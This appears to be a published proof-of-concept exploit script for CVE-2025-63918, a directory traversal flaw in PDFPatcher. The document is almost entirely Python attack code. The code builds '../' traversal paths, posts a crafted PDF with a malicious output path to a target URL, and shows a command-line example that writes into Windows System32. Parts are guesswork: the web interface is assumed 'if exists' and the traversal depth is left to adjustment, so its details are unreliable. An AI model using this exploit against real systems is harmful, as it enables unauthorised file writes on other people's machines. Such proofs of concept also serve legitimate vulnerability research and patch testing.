CVE-2025-63918 - PDFPatcher 目录遍历漏洞允许任意文件上传

#!/usr/bin/env python3 """ CVE-2025-63918 PoC - PDFPatcher Directory Traversal File Write This PoC demonstrates how an attacker can exploit the directory traversal vulnerability in PDFPatcher to write files to arbitrary locations. """ import os import sys import requests from urllib.parse import quote def generate_malicious_pdf(): """Generate a minimal malicious PDF for exploitation""" return b'%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n' def create_traversal_payload(target_path, filename): """ Create a directory traversal payload to write files outside intended directory Args: target_path: The absolute path where we want to write the file filename: The name of the file to create Returns: Traversal path string that bypasses path validation """ # Calculate how many ../ we need based on the expected base directory # Adjust the number of ../ based on actual application behavior base_depth = 3 # Example: application expects files in ./output/ traversal = '../' * base_depth # Construct the full malicious path malicious_path = f"{traversal}{target_path}/{filename}" return malicious_path def exploit_pdfpatcher(target_url, output_path, filename): """ Exploit the directory traversal vulnerability Args: target_url: URL of the vulnerable PDFPatcher instance output_path: Target directory path (e.g., /tmp, /var/www) filename: Filename to write """ payload_path = create_traversal_payload(output_path, filename) malicious_pdf = generate_malicious_pdf() # Prepare the exploit request files = { 'file': ('malicious.pdf', malicious_pdf, 'application/pdf') } data = { 'action': 'export_image', 'output_path': payload_path, # Malicious traversal path 'format': 'png' } print(f"[*] Target: {target_url}") print(f"[*] Payload path: {payload_path}") print(f"[*] Attempting to write: {output_path}/{filename}") try: response = requests.post(target_url, files=files, data=data, timeout=30) if response.status_code == 200: print(f"[+] File write successful!") print(f"[+] Check {output_path}/{filename}") return True else: print(f"[-] Exploitation failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def local_exploit(): """ Local exploitation scenario - when attacker has local access """ print("[*] Local exploitation scenario") print("[*] Attacker can manipulate file paths via command line or GUI") # Example: PDFPatcher command line usage cmd = """ # Normal usage (intended): PDFPatcher.exe -export-images input.pdf -o ./output/ # Exploitation (malicious): PDFPatcher.exe -export-images input.pdf -o ../../../../Windows/System32/ # This writes files to System32 directory instead of intended output folder """ print(cmd) if __name__ == "__main__": print("=" * 60) print("CVE-2025-63918 - PDFPatcher Directory Traversal PoC") print("=" * 60) # Local exploitation example local_exploit() # Remote exploitation (if web interface exists) if len(sys.argv) > 1: target = sys.argv[1] exploit_pdfpatcher(target, "C:\\Windows\\Temp", "evil.txt")